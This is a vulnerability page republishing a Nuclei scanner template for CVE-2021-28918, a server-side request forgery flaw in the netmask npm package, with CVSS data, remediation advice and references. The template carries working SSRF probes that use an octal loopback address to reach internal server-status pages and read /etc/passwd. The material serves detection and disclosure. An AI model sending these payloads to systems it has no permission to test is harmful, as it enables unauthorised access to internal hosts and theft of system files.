CVE-2021-28918: Netmask NPM Package - Server-Side Request Forgery

2025-08-01 Netmask NPM Package PoC Public

Description

Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.

PoC

id: CVE-2021-28918

info:
  name: Netmask NPM Package - Server-Side Request Forgery
  author: johnjhacking
  severity: critical
  description: Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
  impact: |
    An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to Netmask version 2.0.0 or later, which includes a fix for this vulnerability.
  reference:
    - https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md
    - https://github.com/advisories/GHSA-pch5-whg9-qr2r
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28918
    - https://github.com/rs/node-netmask
    - https://rootdaemon.com/2021/03/29/vulnerability-in-netmask-npm-package-affects-280000-projects/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2021-28918
    cwe-id: CWE-704
    epss-score: 0.16657
    epss-percentile: 0.96858
    cpe: cpe:2.3:a:netmask_project:netmask:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 3
    vendor: netmask_project
    product: netmask
    framework: node.js
  tags: cve2021,cve,npm,netmask,ssrf,lfi,netmask_project,node.js,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?url=http://0177.0.0.1/server-status"
      - "{{BaseURL}}/?host=http://0177.0.0.1/server-status"
      - "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "Apache Server Status"
          - "Server Version"
        condition: and

      - type: regex
        regex:
          - "root:.*:0:0:"
# digest: 4a0a0047304502201527706437474ded76ac90bf1e10cc58424bec6ab6328eea2ef6d98e1df9c635022100b1192587acc65a06bda524706c04cbf63c6ad414941d85010743a36434ee831c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-28918.yaml

References

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